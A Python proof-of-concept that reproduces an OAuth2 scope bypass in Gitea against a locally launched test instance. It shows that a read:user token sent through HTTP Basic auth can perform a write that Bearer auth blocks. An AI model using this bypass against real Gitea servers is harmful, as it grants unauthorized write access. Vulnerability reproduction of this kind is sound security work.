#!/usr/bin/env python3
"""poc.py -- CVE-2026-28699 exploit for Gitea OAuth2 scope-bypass via HTTP Basic auth.

Spins up a headless Gitea, mints an OAuth2 access token scoped to *read:user only*
through the real authorization-code flow, then calls write endpoints two ways:

    Authorization: Bearer <token>                      -> scope enforced  -> 403
    Authorization: Basic  base64(<token>:x-oauth-basic) -> scope skipped   -> 200

Pass the version to run against (default 1.26.1, the vulnerable build):
    python poc.py 1.26.1   # vulnerable -> Basic bypass succeeds
    python poc.py 1.26.2   # patched    -> Basic also returns 403
"""
import base64, os, re, shutil, subprocess, sys, tempfile, time
import requests

VER   = sys.argv[1] if len(sys.argv) > 1 else "1.26.1"
DEBUG = os.environ.get("POC_DEBUG") == "1"
HERE  = os.path.dirname(os.path.abspath(__file__))
_SFX  = ".exe" if os.name == "nt" else ""
EXE   = os.path.join(HERE, "bin", f"gitea-{VER}{_SFX}")
# runtime data lives outside the repo (and outside OneDrive, which locks sqlite files)
WORK  = os.path.join(tempfile.gettempdir(), f"gitea_cve_28699_{VER}")
PORT  = 3000
BASE  = f"http://127.0.0.1:{PORT}"
ADMIN_USER, ADMIN_PASS, ADMIN_EMAIL = "poc", "Poc-Passw0rd!", "[email protected]"
REDIRECT = "http://127.0.0.1:8000/callback"   # never served; we read the 302 Location

def sh(*args, **kw):
    return subprocess.run([EXE, "--config", os.path.join(WORK, "app.ini"), *args],
                          cwd=WORK, capture_output=True, text=True, **kw)

def provision():
    if os.path.exists(WORK):
        shutil.rmtree(WORK)
    os.makedirs(os.path.join(WORK, "data"))
    with open(os.path.join(WORK, "app.ini"), "w") as f:
        f.write(f"""APP_NAME = Gitea CVE-2026-28699 PoC
RUN_MODE = prod
WORK_PATH = {WORK}
[server]
HTTP_ADDR = 127.0.0.1
HTTP_PORT = {PORT}
ROOT_URL  = {BASE}/
OFFLINE_MODE = true
[database]
DB_TYPE = sqlite3
PATH = {os.path.join(WORK, 'data', 'gitea.db')}
[security]
INSTALL_LOCK = true
[service]
DISABLE_REGISTRATION = true
[log]
LEVEL = Error
MODE  = console
""")
    # build DB schema (also auto-generates SECRET_KEY / INTERNAL_TOKEN / JWT_SECRET)
    r = sh("migrate")
    if r.returncode != 0:
        print(r.stdout, r.stderr); raise SystemExit("migrate failed")
    # create admin user
    r = sh("admin", "user", "create", "--username", ADMIN_USER, "--password", ADMIN_PASS,
           "--email", ADMIN_EMAIL, "--admin", "--must-change-password=false")
    if r.returncode != 0:
        print(r.stdout, r.stderr); raise SystemExit("admin create failed")

def wait_up(proc, timeout=40):
    t0 = time.time()
    while time.time() - t0 < timeout:
        if proc.poll() is not None:
            raise SystemExit("gitea exited early")
        try:
            if requests.get(f"{BASE}/api/healthz", timeout=2).status_code < 500:
                return
        except requests.RequestException:
            time.sleep(0.5)
    raise SystemExit("gitea did not come up")

def csrf(html):
    m = re.search(r'name="_csrf"\s+value="([^"]+)"', html)
    return m.group(1) if m else None

def get_read_user_token(s):
    # 1. create a confidential OAuth2 app (password basic auth = full access, legitimately)
    app = s.post(f"{BASE}/api/v1/user/applications/oauth2",
                 auth=(ADMIN_USER, ADMIN_PASS),
                 json={"name": "poc-app", "redirect_uris": [REDIRECT],
                       "confidential_client": True}).json()
    cid, csecret = app["client_id"], app["client_secret"]

    # 2. log into the web UI to get an authenticated session
    login_page = s.get(f"{BASE}/user/login").text  # sets csrf cookie
    lr = s.post(f"{BASE}/user/login",
                data={"_csrf": csrf(login_page), "user_name": ADMIN_USER, "password": ADMIN_PASS},
                headers={"Referer": f"{BASE}/user/login"}, allow_redirects=False)
    if DEBUG: print(f"  [dbg] login status={lr.status_code} loc={lr.headers.get('Location')}")
    whoami = s.get(f"{BASE}/api/v1/user").status_code  # 200 if session is authenticated
    if DEBUG: print(f"  [dbg] session /api/v1/user -> {whoami}")

    # 3. authorization-code flow, scope = read:user ONLY
    authz = s.get(f"{BASE}/login/oauth/authorize",
                  params={"client_id": cid, "redirect_uri": REDIRECT,
                          "response_type": "code", "scope": "read:user", "state": "xyz"},
                  allow_redirects=False)
    if DEBUG: print(f"  [dbg] authorize status={authz.status_code} loc={authz.headers.get('Location')}")
    if authz.status_code in (301, 302):
        loc = authz.headers["Location"]
    else:
        # consent page -> grant
        grant = s.post(f"{BASE}/login/oauth/grant",
                       data={"_csrf": csrf(authz.text), "client_id": cid, "granted": "true",
                             "redirect_uri": REDIRECT, "scope": "read:user", "state": "xyz"},
                       headers={"Referer": f"{BASE}/login/oauth/authorize"}, allow_redirects=False)
        if DEBUG: print(f"  [dbg] grant status={grant.status_code} loc={grant.headers.get('Location')}")
        loc = grant.headers.get("Location", "")
    m = re.search(r"[?&]code=([^&]+)", loc or "")
    if not m:
        raise SystemExit(f"failed to obtain auth code; last location={loc!r}")
    code = m.group(1)

    # 4. exchange code -> access token
    tok = s.post(f"{BASE}/login/oauth/access_token",
                 data={"grant_type": "authorization_code", "client_id": cid,
                       "client_secret": csecret, "code": code, "redirect_uri": REDIRECT}).json()
    return tok["access_token"]

def try_write(token, how):
    if how == "bearer":
        hdr = {"Authorization": f"Bearer {token}"}
    else:
        b = base64.b64encode(f"{token}:x-oauth-basic".encode()).decode()
        hdr = {"Authorization": f"Basic {b}"}
    # write action that requires the 'user' write scope; read:user must NOT be enough
    r = requests.patch(f"{BASE}/api/v1/user/settings", headers=hdr,
                       json={"full_name": f"pwned-via-{how}"})
    return r.status_code

def main():
    print(f"=== CVE-2026-28699 PoC against Gitea {VER} ===")
    provision()
    proc = subprocess.Popen([EXE, "--config", os.path.join(WORK, "app.ini"), "web"],
                            cwd=WORK, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    try:
        wait_up(proc)
        s = requests.Session()
        token = get_read_user_token(s)
        print(f"[*] Minted OAuth2 token with scope = read:user only")
        b = try_write(token, "bearer")
        print(f"[Bearer] PATCH /api/v1/user/settings -> HTTP {b}   ({'blocked' if b==403 else 'ALLOWED'})")
        z = try_write(token, "basic")
        print(f"[Basic ] PATCH /api/v1/user/settings -> HTTP {z}   ({'ALLOWED -- scope BYPASSED' if z==200 else 'blocked'})")
        print()
        if b == 403 and z == 200:
            print(">>> VULNERABLE: read:user token performed a write via Basic auth.")
        elif b == 403 and z == 403:
            print(">>> PATCHED: scope enforced on both Bearer and Basic.")
        else:
            print(f">>> Unexpected result (bearer={b}, basic={z}).")
    finally:
        proc.terminate()

if __name__ == "__main__":
    main()